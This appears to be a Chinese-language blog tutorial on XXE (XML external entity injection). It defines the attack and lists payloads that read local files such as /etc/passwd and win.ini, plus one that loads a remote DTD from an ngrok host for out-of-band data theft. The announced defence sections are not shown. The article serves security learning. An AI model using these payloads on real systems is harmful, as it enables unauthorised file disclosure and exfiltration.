XXE(外部实体注入攻击)

XXE攻击详解与防御策略

最新推荐文章于 2025-10-13 10:24:14 发布

原创

最新推荐文章于 2025-10-13 10:24:14 发布 · 1.9w 阅读

19 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #xxe

XXE（XML External Entity）是一种外部实体注入攻击，当程序解析含有恶意构造的XML数据时，攻击者能利用此漏洞获取敏感信息或执行远程代码。文章探讨了XXE的定义、利用方式，并深入讲解了防御措施，包括理论上如禁用外部实体、过滤验证XML数据，以及实践中配置XML解析器避免外部实体引入。

XXE

什么是XXE
利用方法
进阶
学习
防御
- - - 理论上的防御措施
    - 实践有效的防御措施

什么是XXE

XXE：XML External Entity 即外部实体，从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。

利用方法

file:///C:/Windows/win.ini

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9c3f5c9c.ngrok.io/a.dtd">
%remote;
]>
<comment>
  <text>test&send;</text>
</comment>